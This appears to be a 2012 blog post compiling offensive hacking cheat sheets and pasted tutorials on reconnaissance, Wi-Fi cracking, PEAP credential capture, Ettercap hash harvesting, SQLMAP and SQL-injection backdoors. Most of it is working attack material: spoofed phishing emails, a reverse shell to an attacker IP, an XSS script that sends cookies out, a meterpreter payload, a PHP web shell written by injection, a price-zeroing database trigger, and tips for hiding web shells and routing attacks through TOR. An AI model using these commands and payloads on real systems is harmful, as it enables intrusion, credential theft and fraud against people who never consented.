Monday, 30 July 2012

Basic Steps of Hacking



INFORMATION GATHERING



  • Harvesting email addresses: - 
    • theharvester.py -d <domain> -l 100 -b google or linkedin  
  • Enumerating Subdomains: - 
    • fierce.pl -dns example.com
    • maltego
    • google - site:example.com -www  
  • IP Ranges: - 
    • whois
    • ipnetinfo.exe
    • reverse host lookups on found subdomains to find extra ranges - for hostname in $(cat subdomains.txt);do host $hostname;done
  • Extracting usernames and other info from metadata: -
    •  metagoofil -d <domain> -l 20 -f all -o output.html -t /tmp
  • Finding vulnerable servers: -

SCANNING

  • Scanning for snmp: -
    • create a list of ip addresses: - for i in `seq 1 255`;do echo 192.168.1.$i;done >ips.txt
    • find vulnerable servers: - onesixtyone -i ips.txt public
  • Netbios info: - nmap -p139 --script nbstat.nse 192.168.1.* |grep user
  • Finding open egress ports: nmap open.zorinaq.com or telnet  open.zorinaq.com <port>

ENUMERATION


  • Enumerating usernames: -
    • from a domain pc: - net users /domain
    • nmap -p445 --script=smb-enum-users <IP> >users.txt
  • Enumerating via snmp: -
    • create a list of ip addresses: - for i in `seq 1 255`;do echo 192.168.1.$i;done >ips.txt
    • find vulnerable servers: - onesixtyone -i ips.txt public
    • enumerate snmp info: - snmpcheck -t <IP> -w
    • Via Metasploit to grab users/groups/computernames: - use auxillary/scanner/smb/smb_lookupsid

    GAINING ACCESS

    • Via a public exploit: - 
      • search exploitdb for code, check headers for compile info i.e. windows.h (windows) or / sys/socket.h (linux), tailor for use then compile.
      • To compile for windows: - either install windows SDK and run cl file.c or within backtrack run root@bt:~/.wine/drive_c/MinGW/bin# wine gcc -o sploit.exe sploit.c -lwsock32
      • To compile for linux: - gcc file.c -o sploit
    • Via password bruteforce: -
      • check out domain account bruteforce tool in september blog post.
      • hydra / medusa are amoungst the best.
    • Via arpspoofing: -
      • 1. uncomment iptables entries in /etc/etter.conf
        2. echo 1 > /proc/sys/net/ipv4/ip_forward
        3. iptables -t nat -A PREROUTING -i <interface> -p tcp --dport 80 -j REDIRECT --to-port 8080
        4. ettercap -i wlan0 -TqM ARP:REMOTE /TARGET1IP/ /TARGET2IP/
        5. sslstrip -a -l 8080 
    • Via a fishing attack: -
      • Setup a metasploit browser exploit generator
        • msfcli auxiliary/server/browser_autopwn lhost=<ATTACKERIP> lport=80 srvhost=<ATTACKERIP> uripath=reports E
        • Spoof an email to the target users with a link to your reports folder:
        • sendemail -t <target_email> -f <spoofed_email> -s <smtp_server> -u <subject>
      • Use metasploit to capture logons
        • use auxiliary/server/capture/http_ntlm set  - set uripath to exchange
        • spoof email to fish users - i.e. "Check out your new outlook web access portal"
      • Use SMB relay
        • Metasploit:  windows/smb/smbrelay- payloads delivered when users connect to \\<ATTACKERIP>\any_fake_share
    • Via Weak SSH Keys: -
      • download weak debian key checker tool from HERE
      • Search for hosts running SSH: nmap -p22 <IPRANGE> --open |grep report |cut -d" " -f5 > ssh-hosts.txt
      • Find vulnerable hosts: for i in $(cat ssh-hosts.txt);do perl dowkd.pl host $i;done
      • Follow the rest of the instructions HERE to exploit.
    • Via Weak Service Permissions: -
    • sc \\<TARGET> create <evilservice> binpath= “cmd.exe /k <EVIL COMMAND> then sc \\<TARGET> start <evilservice>
       
    • Via NFS shares: 
      • showmount -e <IP>
      • mount -t nfs IP:/sharename /tmp/mount
      • to bypass permissions: nfspy -o server=<serverIP>:/<share_name>,hide,allow_other,ro,intr /tmp/mnt
    • Creating wordlists:
      • http://sites.google.com/site/reusablesec/Home/password-cracking-tools/noobify

    WIFI HACKING



    •  WEP:
      • airmon-ng start wlan0
        airodump-ng wlan0
        airodump-ng -w essid -c channel --bssid mac wlan0
        aireplay -1 0 -a bssid -h localmac wlan0
        aireplay -3 -b bssid -h localmac wlan0
        aircrack-ng -n 64 --bssid tgt mac file.cap
        airmon-ng stop wlan0
        /etc/init.d./networking start
        NetworkManager start
        Start-network
      • wesside-ng -i mon0
      • Gerix


      • WPA:
        • airmon-ng start wlan0airodump-ng wlan0
          airodump-ng -w essid -c channel --bssid mac wlan0
          aireplay -0 3 -a <targetmac> -c <client to deauth> wlan0 wait for handshake to be captured when client reconnects.
          aircrack-ng -w passwords.txt -b <targetmac> pskfile.cap or faster way - import cap file into elcomsoft wireless auditor
        • besside-ng
        • Gerix




      • KEY CRACKING

      Capturing and cracking a PEAP challenge/response with FreeRADIUS-WPE

      By Robert Portvliet.

      I figured I would put together a quick post on configuring and using FreeRADIUS-WPE, as lately I’ve seen a few people have issues getting it going on Backtrack 5 R2. To perform a successful attack we’re going to need a couple items, which are the updated FreeRADIUS-WPE package Brad Antoniewicz put together a few months back, and hostapd for our malicious AP. We’re also going to need to put together a .conf file for hostapd to run from.

      After booting into Backtrack, go to http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html, and download freeradius-server-wpe_2.1.11-1_i386.deb.

      To install, type:
      dpkg --install freeradius-server-wpe_2.1.11-1_i386.deb
      Then:
      ldconfig
      Next install hostapd:
      apt-get install hostapd

      Run the FreeRADIUS-WPE setup from the Backtrack menu, which runs the following:
      sh -c "cd /pentest/libs/freeradius-wpe/raddb/certs && ./bootstrap && cp -r * /usr/local/etc/raddb/certs;sudo -s"

      The output should finish up looking something like this:

      Then, we test that FreeRADIUS is working by:
      radiusd -X 

      ("-X" turns on full debugging). It will scroll a bunch of information on the screen, and should end up with the following:

      Next, we need a configuration file for hostapd to run from. Here is one Brad Antoniewicz put together a while ago:
      interface=mon0
      driver=nl80211
      ssid="corporateWIFI"
      logger_stdout=-1
      logger_stdout_level=0
      dump_file=/tmp/hostapd.dump
      ieee8021x=1
      eapol_key_index_workaround=0
      own_ip_addr=127.0.0.1
      auth_server_addr=127.0.0.1
      auth_server_port=1812
      auth_server_shared_secret=testing123
      wpa=1
      channel=1
      wpa_pairwise=TKIP CCMP

      Start a monitor mode interface with:
      airmon-ng start wlan0

      (or in my case wlan1), which will give you the mon0 monitor mode interface.

      Next start hostapd and specify the configuration file:

      Now that we have hostapd and FreeRADIUS-WPE running, connect to the “corporateWIFI” SSID with your test client and input your credentials. You should see activity in your hostapd window at this point, which will look something like this:

      Your client will tell you the login failed (obviously), but if all goes well, when you tail the FreeRADIUS-WPE log, located at /usr/local/var/log/radius/freeradius-server-wpe.log, you’ll see the username, challenge, and response:

      Finally, we can use asleap to attempt to crack the challenge/response.

      Obviously, you are limited strictly to the words in your wordlist when using asleap, but if you want you can feed the challenge/response to John and use its mangling capabilities. Josh Kelley created a neat Python script called radiusWPE2john.py, which I happened upon on pastebin (http://pastebin.com/RJwgbwNh) that takes the FreeRADIUS-WPE log output and converts the challenge/response into a format that John can understand. Here's a copy of it:
      #!/usr/bin/python

      ###############################################################################
      # Free Radius WPE log file convertor to John The Ripper formatted file for
      # password cracking. Use the following format for John:
      # ./john --format=NETNTLM freeradius.john
      #
      # 12/19/2011 - Josh Kelley
      ###############################################################################

      import sys

      if len(sys.argv) < 2:
      print "Please feed me the path to the Free Radius WPE log file"
      exit()

      fileIn = open(sys.argv[1],'r')
      fileOut = open('freeradius.john','w')

      i = 0
      for line in fileIn:
      lineClean = line.strip()
      lineSplit = lineClean.split(':')
      if lineSplit[0] == "mschap":
      i = i + 1
      if lineSplit[0] == "username":
      username = lineSplit[1].strip()
      i = i + 1
      if lineSplit[0] == "challenge":
      challenge = ""
      for x in lineSplit[1:]:
      challenge = challenge + x
      challenge = challenge.strip()
      i = i + 1
      if lineSplit[0] == "response":
      response = ""
      for x in lineSplit[1:]:
      response = response + x
      response = response.strip()
      i = i + 1
      if i == 4:
      lineNew = "%s:$NETNTLM$%s$%s" % (username, challenge, response)
      fileOut.write("%s\n" % lineNew.strip('\n'))
      i = 0
      fileIn.close()
      fileOut.close()


      Run radiusWPE2john.py and point it to the FreeRADIUS-WPE log. It will generate thefreeradius.john file with the challenge/ response converted to the proper formatting for John.

      Then, simply feed John the freeradius.john file. The comments in RadiusWPE2John give the example of using the argument --format=NETNTLM, but John doesn’t seem to find the hashes when given it. It does find them when using no argument though. (YMMV)

      Of course, you can also just pipe the output from John into asleap, as shown below. Make sure to include the dash after the –W switch for asleap. That makes the magic happen. Incidentally, you can do the same thing with CoWPAtty and Aircrack, in both cases putting a dash after the wordlist (-w) parameter let’s you take stdout from John to perform wordlist mangling.

      PLACES TO LEARN

      USEFUL COMMANDS

      • LINUX
      • Grepping multiple strings: egrep -i "string1|string2"  e.g. nmap -sV -p21 10.0.0.* --open |egrep -i "report|open"
      • Creating ip lists: for i in `seq 1 255`;do echo 192.168.1.$i;done >ips.txt
      • Switching to previous directory: cd -
      • Switching to home directory: cd
      • Creating shortcut commands: alias netstat='netstat -antp' or even make up your own commands: i.e. alias makeips='for i in `seq 1 255`;do echo 192.168.1.$i;done'
      • Viewing installed software:
        • Debian based: dpkg --get-selections 
        • RPM based distributions (RHEL, Fedora Core, Cent OS, Suse Linux etc)rpm -qa
      • Searching for Information:
        • find / -name passw*- Search for filenames starting with passw
        • find / | xargs passw - Search for files that contain passw in them.
        • man -k <search_string> (e.g man -k ftp) - will list all man pages that refer to ftp.
      • Reverse netcat shell without netcat:
        • Attacker: nc -lvp 1234
        • Target: mknod backpipe p && telnet <ATTACKERIP> 1234 0<backpipe | /bin/bash 1>backpipe
      • Reverse SSH tunnel:
        • setup ssh: service ssh start && sshd-generate
        • upload plink to target:
        • create reverse tunnel: plink.exe -l root -pw <your ssh pass> -R 3389:127.0.0.1:3389 <attackerIP>  (will map targets rdp port to yours)
        • rdp into yourself to access target: rdesktop 127.0.0.1 -f
          • Finding open egress ports: nmap open.zorinaq.com
        • Open all HTTP hosts on network in firefox: for i in $(nmap -p80 -n 192.168.0.* --open |grep report |cut -d" " -f5);do firefox -new-tab $i;done (have firefox open before running)
        • Simple Web Server: python -m SimpleHTTPServer
        • copying files via scp: scp *.txt <targetip>:

          • WINDOWS
            • quick ping sweep: for /L %i in (1,1,255) do @ping -n 1 192.168.1.%i |findstr TTL

          Using Ettercap to improve NetBIOS attacks



          For those of you that have tried out NetBIOS spoofing, (explained ), you know how devastatingly effective this is on an internal network. There are however, times when good crackable hashes just don't seem to be passing your way. Maybe the network is quiet, or you are just getting NTLMv2 hashes that you just can't seem to crack. If only you could somehow force those XP clients to send over their user's LM hashes...

          Well... it seems you can with Ettercap, and it works very well too.
          One of the great things about Ettercap, is that you can do so much more with man-in-the-middle attacks versus Cain for instance. DNS spoofing, ARP spoofing, iframe injections and many more are possible with this tool. Today though we are going to use a custom filter in an attempt to force the clients, via some HTML injection,  to connect to a fake share on our machine so that we can then harvest their authentication hashes.

          Remember, for this attack to work, you will need to be targetting wired clients on the network (unless they are using open or WEP wifi) as we will be actively changing their traffic, and this would not be possible on a WPA network due to the individual client encryption keys being used.

          First of all you will need to setup metasploit...
          Let's see if we can find some low hanging fruit (XP machines)

          use auxiliary/scanner/smb/smb_version



          Excellent some target XP machines. Make a note of these IP addresses as we will need to target these with Ettercap next.

          Now we need to get out filter configured for Ettercap. As you can see from looking at the filter below, we will be adding in an HTML tag into the web pages that the target will be viewing. This tag will tell the browser that it needs to load an image to display on the page and to load it from a share on your IP.
          The image wont be there, but Metasploit will capture these requests, spoof the challenge, and capture the user's hash.

          Modify the following filter to your own IP address, and save this as netbios.filter.



           if (ip.proto == TCP && tcp.dst == 80) {
             if (search(DATA.data, "Accept-Rubbish!")) {
                replace("Accept-Rubbish!", "Accept-gnidocnE");
                msg("Encoding Taken Care Of...\n");
          }
          }
          if (ip.proto == TCP && tcp.src == 80) {
          replace("head>", "head> <img src=\"
          \\\\192.168.20.10\\pixel.gif\"> ");
          msg("Replacement Filter Ran.\n");
          }



          Next, we need to install Ettercap: apt-get install ettercap
          then within the /usr/local/share/ettercap folder, run etterfilter /root/netbios.filter -o netbios.ef.
          This will complile the filter into a format Ettercap can understand.

          We now need to return to Metasploit and setup the netbios spoofing modules to be ready to capture the incoming hashes, you can use the following resource script to save time:


          use auxiliary/server/capture/smb
          set srvhost 192.168.20.10
          set cainpwfile /tmp/cain
          set johnpwfile /tmp/john
          run
          use auxiliary/server/capture/http_ntlm
          set srvhost 192.168.20.10
          set cainpwfile /tmp/cain
          set johnpwfile /tmp/john
          set uripath /share
          set srvport 80
          run
          use auxiliary/spoof/nbns/nbns_response
          set spoofip 192.168.20.10
          run


          Once you have this running, we can now start ettercap:

          ettercap -TqF netbios.ef -M arp:remote /192.168.20.26,29,30/ /<gatewayIP>/ -i eth0

          This will fire up Ettercap in text mode (T) without verbose info (q) and with the netbios filter (F) using the arp spoofing method (M) against the 3 XP clients.

          Once the users on these clients start browsing web pages, you should see a flurry of hashes coming your way :0)

          Remember to press "q" once you have these hashes so that Ettercap will re-poison them to prevent any network drop-out.



          Make sure you have permission first, and have fun folks!

          WEB HACKING



          • All in on web tool:- http://yehg.net/lab/pr0js/misc/wsa.php?q
          • Via XSS:-
            • Exploiting the browser:-
              • setup metasploit auxiliary/server/browser_autopwn to listen for connection
              • post an IFrame tag on vulnerable site: <iframe SRC="http://ATTACKERIP/URIPATH" height = "0" width ="0">
            • Stealing Session cookies:- 
              • setup a netcat listener: nc -lvp80
              • Steal session cookies with the following: <script> new Image().src="http://ATTACKERIP/bogus.php?output="+document.cookie; </script> 
            •  Bypassing Filters:- 


            • Via SQL Injection:-
              • Via GET
              • show databases: ./sqlmap -u http://www.example.com/index.php?id=1 --dbs
              • show tables: ./sqlmap -u http://www.example.com/index.php?id=1 -D <database> --tables
              • show data: ./sqlmap -u http://www.example.com/index.php?id=1 --D <database_name> -T <table_name> --dump
              • Via POST
              • show databases: ./sqlmap -u http://www.example.com/logon.asp --data "user=&pass=&submit=" --dbs
              • Via WEBDAV:-
                • Download and run ryan linn's webdav test from here
                • create a payload in an allowed format ie php: msfpayload php/meterpreter/reverse_tcp LHOST=ATTACKERIP R | msfencode -o meterpreter.php
                • start a metasploit reverse handler
                • upload the malicious payload to the target server via ftp,ssh,php,webdav (dave),rfi etc.
                • browse to the file http://target/meterpreter.php

              SQLMAP For Beginners





              Requirements
              1. Tutorial Introduction
              1.2 Disclaimer

              2. Setting up for the tutorial
              2.1 Proxychains
              2.2 TOR

              3. Information Gathering

              4. Basic SQLMAP Introduction
              4.1 Fingerprinting
              4.2 Using SQLMAP to creat a dump.
              4.3 --Level and --Risk.

              5. Output variations
              5.1 --Schema and --Column
              5.2 Other variations

              6. Change Log
              Todo:
              1. Add Tips&Tricks along with other useful settings.
              2. Add POST attacks using cookies and --data
              3. Actually learn the --os-x commands and find a red-line how its done.
              4. How to use google dorks inside SQLMAP
              5. File uploading to the back-end database/server
              Requirements

              Recommended OS: Backtrack5 R1
              SQLMAP 1.0-dev (r4690)
              Metasploit (optional)
              Proxychains (optional)
              TOR (optional)

              1. Tutorial Introduction

              This tutorial is made for explaining the usage of SQLMAP for beginners. I do know there is something called documentation (you know that -h option?), but honestly: How much wouldn't you pay to have a nice tutorial explaining how the different options relate to one another for every program there is? People will argue that skids read this to do fucked up things on the Internet and help on their epeen-ego, i am just going to state that if skids manage to run sqlmap in a cmd (windows) or terminal (linux) they should be capable of learning this no matter what, which it why i am not explaining how to run Backtrack or any other linux distro, and tell them what to write in the CMD/Terminal....THAT would be helping skids.
              Some shit about myself:
              - My nick is Matrix you can mainly find me on anonops or other random irc as TheAnonMatrix.
              - I do got a social life.
              - My age is as irrelevant.
              - Take the red pill.
              - Simple python programmer.
              - I hate retarded questions...i mean retarded, not clever ones.
              - I play guitar.
              - I got a weird sense of humor.
              - I don’t know everything, and would never ever claim to do.

              Now, i do consider myself a hacker for one sole reason, if you do manage to get a certain level of access to a place/system you shouldn't have, you are by my definition a hacker. Skids are just those retarded people who learn shit to show epeen and argue on what a hacker is.
              Now, i do hope you enjoy my tutorial on SQLMap and care to add a comment on how much you love me if you find this interesting :)
              Sharing is caring, the only thing i requires is source to lead back to this site and credits to me as i work my ass off to figure these things and explain them.

              Happy Hacking!

              1.2 Disclaimer
              I do not take any responsibility for what retarded people might manage with the information i write or state in this tutorial. This program was not meant to be used for illegal activities, but a tool to check for vulnerabilities on your own website. Never use this tool or any other tools on a website you do not own. I am serious.


              2. Setting up for the tutorial


              So, to hide your ass i recommend two solutions. Proxychains or setting up TOR. Both uses the TOR proxy but got a variation in use. I am assuming you are using Backtrack 5 R1, thus i can skip some explanations. I do recommend using the --random-agent switch in SQLMAP, else you can see the user agent contains SQLMAP, that is not a clever idea.

              2.1 Proxychains


              Proxychains is simple in the use, as we can state what ever we wanna do after the program name. However, it does post a line for every connection we make. Using SQLMap this can pretty much cover the terminal with information you honestly don't need that much. So i prefer to remove it.


              Open it, scroll down to and find quiet_mode, and make sure that line do not have a “#”. Fixed and ready to go!


              2.2 TOR
              (Because of some reports of TOR being fucked with SQLMAP, run --TOR-Check to verify it works and use at own risk. I however recommend using proxychains.)

              First find /etc/apt/sources.list open it and add

              deb http://deb.torproject.org/torproject.org lucid main

              Open the terminal and use this commands:

              gpg --keyserver keys.gnupg.net --recv 886DDD89
              gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -

              More commands ran as root:

              apt-get update
              apt-get install tor tor-geoipdb
              apt-get install polipo

              Start tor:
              /etc/init.d/tor start

              Grab the copy of this config file:

              New link: http://www.pc-freak.net/files/polipo.conf

              Go to /etc/polipoconfig and replace the file with the one above. restart polipo:
              /etc/init.d/polipo restart
              Congratz! now you can run SQLMAP with TOR by using the --TOR option!








              3. Information Gathering

              Finding a SQL Vulnerability is as easy as it can get. Imagen we got this URL:

              http://localhost/index.php?id=1337

              An SQL Injection is basically hoping the designer of the page was dumb enough to let something slip. Adding the sign ‘ behind the id variable in the url would send an invalid request into the SQL Database, and send back an error. How this error is handled might return us an error message on the website, this is what we want to see and what the admin want to hide.

              http://localhost/index.php?id=1337’

              Lets say we got lucky and found a vulnerability on this site. The error message could be displayed like this somewhere on the site:

              You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by Sort DESC Limit 0,12' at line 1

              Sometimes even a change in the page would be enough. As long as it’s not a 404 error, then you are doing it right.
              Finding these kinds of URL’s can be done in many ways, one way could be using google. Yes, google.
              Type this into search:

              inurl:index.php?id=

              This would display pages only if they contain that in their URL, or somewhere on their webpage. There are tons of dorks, so you should find a list (http://pastebin.com/dfVwSDpN) and start googling your way!

              Acunetix got an online webpage where you can test SQL injection. I challenge you to find the vulnerability, and use it as the test page during this tutorial!
              http://testasp.vulnweb.com/



              4. Basic SQLMAP Introduction

              4.1 Fingerprinting


              -u The URL input  
              --Fingerprint arg flag telling SQLMAP to do a fingerprint  
              --Tor tells SQLMAP we want to use a TOR proxy  
              --Random-Agent tells SQLMAP we want to have a random selected agent in the header  
              --Threads Value: (1) - 10. Adds multiple threads. Basically speeds up SQLMAP.



              Doing a fingerprint on a website helps you determin what kind of back-end system the website is running. Database system operating system and application technology. Please note that SQLMAP already will start looking for vulnerabilities in the page to fetch the information.
              This could be our result:

              4.2 Using SQLMAP to create a dump.



              --DBS Fetches the available databases.  
              -D Selects one the listed databases  
              --Tables Fetches the tables in the Database if specified with -D, if not; dump all the tables. If a Database have been used before, it will use that database.  
              -T Fetches the entries inside the given table. Requires -D and --Dump  
              --Dump Dumps the given table, specified with -T  
              --Dump-all Dumps everything inside -D, if its not specified it will dump everything.





              Now lets start getting serious! We have fingerprinted the server, finding the vulnerability in the process. Typing the above information should give us a result of databases. In our tutorial we will assume the system database information_schema is present. In theory, it could be everything from admin accounts to user information and forums posts.



              As you can see, we got 2 databases (one is masked out for security reasons *cough*). information_schema is the one we want today! We now want to get the tables inside information_schema. This is done using the --tables option. Remember it does not matter where the options are placed in this case. -D can be in front of --tables and vica versa.
              More talk later on the argument line up and the way everything is processed later.


              As you can see above we got the tables inside the database information_schema. Nothing to interesting, but i guess we wanna see closer on the table “VIEW”. Thus we select the database (-D information_schema) and the table we wanna see (-T VIEWS). using -T we need to add a option telling SQLMAP we wanna dump it all to a text file, thus we use --dump.

              and the result:

              Note: i did cancel the dump because of the null values, there is nothing there.

              Now, if we wanna skip doing all this shit and just get right to the dumping we could just use the --dump-all option and dump everything as it comes in order.




              This sums up the basics of SQLMAP dumping and now we will progress with some of the other options inside SQLMAP, for a better understanding how we can do injections and dumping even better.






              4.3 --Level and --Risk.
              SQLMAP detects a lot of the common vulnerabilities by using the guide above. But what is you KNOW there is an vulnerability there, and SQLMAP is not detecting it? Thus the --Level and --Risk switch should be used. using the --Level and --Risk switch the more “noise” you will be creating therefor if you actually apply these switches you should be behind proxy or VPN for safety.



              --Level Value: 1 to 5 (Default: 1)  
              --Risk Value: 0 to 3 (Default 1)

              Note: I had used --dbms=mysql and --level/risk is sat to 5 (habit, not really necessary)

              5. Output variations

              5.1 --Schema and --Column
              --schema and--column are two commands that will help you to fetch the actual value for every field in the selected table. --schema will fetch the column info for the whole database. --column will only fetch for the given table.


              NOTE --schema: Does not need to be given a table input as we fetch all the column info for the given database with this input


              NOTE--column: Notice we specify a table when using --column.

              If we use --column and define tables (-T) as VIEWS we would end up with this:



              With --schema we would end up with the same result, but for every table in the database. But how does this help us?
              Imagen we got a table named “admin”, we could use --column to view this and see what information we can get. What about a larger table like “User_credentials”? We could see the information and select the fields we wanna dump! In other words, we could skip the unusable primary key values and number of posts, and instead only select the username, password and mail columns in the table.
              In this example we will select the columns CHECK_OPTION and TABLE_NAME. Note they are splitted using a comma, this applies to all places in SQLMAP where we can select more than one database (-D) or table (-T).


              Our command line arg. Notice there is no space between CHECK_OPTION and TABLE_NAME






              And this is our result! Imagen the possibilities by selecting the columns we want to get dumped!

              5.2 Other variations
              By using --dump and -C we could tell SQLMAP to only look for columns we want, and it will search for it inn all available databases. Say you want the columns user and password, and got 20 databases...this will make the search less time consuming.












              6. Change Log

              12.02.2012
              Revision 1 done. Needs to be filled out and small parts to be added. Should work as a tutorial for beginners now!

              11.02.2012
              Written the section about Information gathering and Basic SQLMAP Introduction.

              10.02.2012
              Written tutorial introduction and disclaimer. Starting up with Proxychains and TOR setup.

              08.02.2012
              Document launched. Menu done and text to be done.

              Creating Backdoors Using SQL Injection


              Introduction

              If you’re reading this article than I’m reasonably sure that you have heard of a virus, otherwise refered to as a Trojan horse or worm, which can infect your system. Once infected, your system may possibly infect others as well, e.g., when you connect your infected system to a network. Many times the malware not only spreads to other systems but makes changes to every system it infects. These changes will let the virus remotely control every system that it infects at a later date. It accomplishes this by first executing and then copying a small executable onto the user’s disk; this executable simply listens on an unused port of the user’s system to which the malware can connect to whenever the machine is connected to the Internet. This little executable is called a backdoor. I’ve over simplified everything here; but my purpose was to introduce the concept of a backdoor.
              In this article, we will look at a couple of ways in which different kinds of backdoors can be introduced onto a server via a SQL injection vulnerability. We are going to take an application that I have which is already vulnerable to SQL injection and I’m going to use an existing vulnerability to introduce a backdoor to the system.

              What is SQL Injection?

              There are already well over 1 million articles about what SQL injection is and how it can be discovered and mitigated, so I won’t repeat that here. Here’s a link to an introductory article that I wrote if you need more background information on SQL injections. In the article I also include a number of references where you can find additional information on the topic.
              Right, so now you’re clear about what SQL injection is and how you can extract data from a database. Now we will use this discovered injection vulnerability to drop a backdoor onto the system.

              An operating system (OS) backdoor…

              The aim here is to be able to execute random commands against the operating system by exploiting the SQL injection vulnerability. To run OS commands we will need a command (CMD) shell, or need to run code which allows us to run OS commands. Let’s try both techniques.

              Getting an OS Shell

              We’ll now try to write our own code to the server which will help us run arbitrary OS commands against the server. So we already know, from the previous article, that the search parameter is vulnerable to SQL injection and that the table in question contains 4 columns. As a reminder, an input of Harry Potter’ union select 1,2,3,4# gives us an error.

              Now remember, we want to insert our own PHP code so we can run shell commands. To do this, we use the INTO OUTFILE feature that MySQL provides. Using INTO OUTFILE, it is possible for the output of a query to be redirected into a file on the operating system. So with that in mind, if we give as input – Harry Potter’ union select ‘TEXT INTO FILE’,2,3 INTO OUTFILE ‘/tmp/blah.txt’#, the text string ‘TEXT INTO FILE’ will be stored in the file blah.txt in the directory /tmp.
              Now instead of ‘TEXT INTO FILE’, we’ll use some very basic PHP code that will read an argument from the URL and run a command against the operating system, using it as an input. Here is the input that we will give: Harry Potter’ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’#
              Yes! But there’s lots of stuff about the books that I am not interested in at all. So I’ll tweak my query a little and remove the Harry Potter instead, thus making the query – ‘ union select “<? system($_REQUEST['cmd']); ?>”,2,3 INTO OUTFILE ‘/var/www/test/execcmd.php’# and re-run…
              This is much better, although we still have the 2 and 3 appearing.
              Let’s try and access the execcmd.php page now and pass the command [cat /etc/passwd] which we want to execute as an argument.
              It works. There are a couple of things to remember here though, which I discovered while trying all this out.
              — The database user who runs these queries against the database must have the FILE privilege, otherwise he cannot use the INTO OUTFILE command.
              — There must be a directory in webroot that the MySQL service user can write to; otherwise you can’t access the Web Shell that you just uploaded. You could write it into a world writeable directory like /tmp, but then you wouldn’t be able to access it.
              The easier way to do this though is to try and get a shell is by using an inbuilt SQLMap feature. If you read my previous article, you’ll remember I used SQLMap. Let’s use the same code again to demo this feature of SQLMap.
              Below is a screenshot of an OS shell obtained by simply adding an option to SQLMap and then selecting a PHP Web shell when prompted.

              Run a command just to check we’ve actually got a shell. And yes, we have it.
              That was far too easy.
              Unfortunately that’s how easy things are at times from the ‘bad guy’ perspective.
              Now you probably don’t want to use the earlier technique because this one is easier and faster, but it always helps to know the manual way ( so you have something to fall back on if the tool fails). One more thing to remember, after the Web shell is created, use a name which is very similar to the names of the files that already exist in the webroot. This will help shield you from being discovered easily by a casual systems administrator.
              Before moving on to the next type of backdoor, I want to show you what SQLMap did under the hood. You can run SQLMap with a proxy set to do this.
              Forward a few requests until it comes to the part where the actual Web shell is getting uploaded by SQLMap to a world writeable directory, and look at the query that is being fired against the database.
              Hmm…we should see something familiar. Let’s URL decode once to be sure. Look at the blue highlighted bit in the bottom pane. It turns out that SQLMap is using the INTO OUTFILE command; the very same command that we used earlier when we were learning the manual technique.

              Lastly, let’s look at the contents of the Web Shell that SQLMap uploads. It’s much fancier. Look at the bottom pane.
              The point here, once again, is that a tool simplifies our work greatly, but does the same things (largely) that we would have had we had the luxury of unlimited time.

              A database backdoor…

              So we now know that an OS backdoor can be planted on a system if the application is vulnerable to SQL injection. Let’s now look at how a backdoor can be planted in a database as well. Before we go ahead though, we need a little bit of background on how the backdoor functions. In the OS backdoor, we directly accessed the backdoor and passed a command to it; here it’s slightly more indirect. The backdoor that we configure will change the values of some sensitive data in the database each time an Insert operation takes place. So, each time a new book is added to the database our backdoor will set its price to 0, so that people can buy books without paying for them. This would probably get detected reasonably fast in the real world.
              So we have something called a trigger in a database; this basically means – ‘When something that I want to have happen happens, pull the trigger and do something else’. This is really too vague. So let’s take a more sensible example. Let’s say you’re a cop. The moment you see your serial killer, you pull the trigger and a bullet is released. Right? So mapping that back – there is an INSERT(killer) the database trigger(gun trigger) is fired and the action that you have configured(bullet) takes place.
              Here is the MySQL trigger that we’re going to write.
              01
              02
              03
              04
              05
              06
              07
              08
              09
              10
              11
              delimiter #
               
              CREATE TRIGGER price BEFORE INSERT ON books
               
              for each row begin
               
              set new.price='0';
               
              end;#
               
              delimiter ;
              And this is what it means…
              a) Set the MySQL delimiter to a ‘#’. This is because the default delimiter is a ; and treated as a special character in MySQL. We however need it to be treated as data. So we change the delimiter to a ‘#’; which means ‘#’ now has special meaning.
              b) Whenever there is going to be an Insert; i.e. whenever we add a new book, set the price of that book to 0.
              c) Terminate the trigger and set the delimiter back to a ;
              The code for that trigger needs to run somehow. So we need to somehow get the code onto the server.
              Let’s use the SQL injection vulnerability that we know about to first copy the trigger onto the server. Here is the input that we will give to the Search box
              Harry Potter’ AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE ‘/var/www/test/g2′ LINES TERMINATED BY 0x64656c696d6974657220230a4352454154452054524947474552207072696365204245464
              f524520494e53455254204f4e20626f6f6b730a666f72206561636820726f7720626567696e0a7
              36574206e65772e70726963653d2730273b0a656e643b230a64656c696d69746572203b#
              I’ll provide a quick explanation of that query – because although it appears to be complex – it really isn’t. We use a 1=0 because we are not interested in the results of the Harry Potter query. The select 0×20 bit is just selecting the ‘space’ character three times; this is just so that I get only the stuff I need (valid trigger syntax) into the file ‘/var/www/test/g2′. The bit that follows the LINES TERMINATED BY is the entire trigger in hex (I used Burp Decoder; don’t sit and waste time converting it by hand).
              So let’s run it now and see what appears in the file /var/www/test/g2.
              Did you notice the spaces at the beginning? That is because of the select 0×20,0×20,0×20 we saw earlier. The rest is self-explanatory.
              Now we somehow need to execute this query so that the trigger is activated each time a book is ‘INSERTed’. Here are three ways that this can be achieved:
              a) Stacked queries – Harry Potter’ UNION blah blah blah; source /var/www/test/g2
              This however won’t work because stacked queries aren’t supported on PHP-MySQL
              b) Abusing MySQL default trigger behavior
              This is a technique which I haven’t tested out, but which is documented very clearly by Stefano Di Paola. Do try it out; I will too sometime.
              c) Using a SQL injection tool like SQLMap to run the trigger saved in the file /var/www/test/g2
              This is the method we will test.
              So let’s run SQLMap again and get an SQL shell from where we can try and run the trigger.
              Look at the last line. Unfortunately, the only way we can get this to run is when stacked query support is available. That means options a and c above both mean the same. Let’s confirm this by looking at SQLMap in a proxy.
              Let’s run a simple query which will create a new database – ‘create database boo;’ in the sql-shell and look at it in Burp.
              As we can see, it’s trying to interpret it somehow as a select query. This will never work. The response from Burp confirms this.
              The only other way that I can think of using in order to run our own queries involves the following steps:
              — Guess the MySQL database password for a valid database user. For example, you guessed root and test123
              — Inject an OS web shell backdoor (like above)
              — Inject the trigger as was performed above into another file (like above)
              — Now run the trigger using the MySQL command line via the Web Shell and install the trigger
              I’ve included a couple of screenshots on how this could work. For starters..here’s a screenshot showing that there aren’t any triggers in the database…currently.
